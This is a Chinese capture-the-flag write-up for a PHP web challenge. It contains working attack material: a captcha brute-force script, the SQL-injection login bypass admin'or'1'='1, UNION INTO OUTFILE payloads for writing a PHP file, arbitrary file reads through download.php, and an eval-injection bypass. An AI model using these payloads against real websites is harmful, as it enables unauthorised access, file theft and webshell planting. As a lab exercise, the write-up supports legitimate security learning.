GetFlag

测试登录

验证码:substr(md5(captcha), 0, 6)=b0b27d


# 带字母爆破

import hashlib
import itertools as its

words = "1234568790abcdefghijklmnopqrstuvwxyz"
r = its.product(words, repeat=5)

for i in r:
    a = "".join(i)
    md5 = hashlib.md5(a.encode('utf-8')).hexdigest()
    if(md5[0:6] == 'b0b27d'):
        print a
        break


# 纯数字爆破

import hashlib
for i in range(1000000):
	fd = hashlib.md5()
	fd.update(str(i))
	x = fd.hexdigest()
	if(x[0:5] == code):
		print i
		break

测试万能密码登录成功:admin'or'1'='1,显然登录有一个注入点

登陆后跳转地址/Challenges/action.php?action=file

页面中包含地址./file/download.php?f=hello.txt

利用点

  1. /Challenges/action.php的action参数,文件包含?
  2. /Challenges/file/download.php的f参数,任意文件读取?
  3. 登录点存在注入

发现download.php可以使用绝对路径(/var/www/html)读取网站源码,相对路径(../)被过滤,以及位于Challenges/file/a.php文件的提示:Do what you want to do, web dog, flag is in the web root dir

歧途

尝试访问发现根目录/var/www/html下并没有flag.php,认为flag文件不是这个名字,于是想到列出网站根目录文件。于是需要getshell。

sql写马

测试1.txt,发现并没有有权限,并且测试登录这里可以进行报错注入,这道题我甚至注出了admin的密码,不过并没什么用

username=admin&password=admin'+Union+Select+1,2,3+inTo+ouTfile+'/var/www/html/1.txt'+%23&captcha_md5=161645&submit=Submit

若有权限,可以使用如下方式继续测试

username=admin&password=admin'+Union+Select+1,'<?php phpinfo();?>',3+inTo+ouTfile+'/var/www/html/1.php'+%23&captcha_md5=161645&submit=Submit

文件包含

尝试在/Challenges/action.php利用php://input,然后post发送php语句执行。发现并没用,查看源码发现这里已经失去了php伪协议利用的条件。

<?php

//action.php

	if (isset($_GET['action'])) {
		$model = "include/" . $_GET['action'] . ".php";
		if (!is_file($model)){
			echo "Model not exist!";
			exit; 
		} else {
			include_once($model);
		}
	}
?>

可见在include_once()的参数已经拼接上了include/字符串,所以这里无法利用除了相对路径以外的获取文件的方式。

根目录!!!

flag在网站根目录下,发现居然是/var/www/html/Challenges/目录下,你说这是网站根目录(无奈),利用download.php读到flag.php源码,访问http:/784e6b7e50e74866a4cf3df85059c7eb49209b9d6b584d85.game.ichunqiu.com/Challenges/file/download.php?f=/var/www/html/Challenges/flag.php


<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
		die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
		 eval("\$spaceone = $f");
}
catch (Exception $e)
{
		return false;
}
if ($spaceone === 'flag'){
	echo file_get_contents("helloctf.php");
}

?>

直接download.php读取helloctf.php失败,分析源码逻辑,执行"\$spaceone = $f"最后判断$spaceone===flageval函数参数是一句完整的php语句,所以需要加上逗号,最后向Challenges/flag.php提交post参数flag=flag;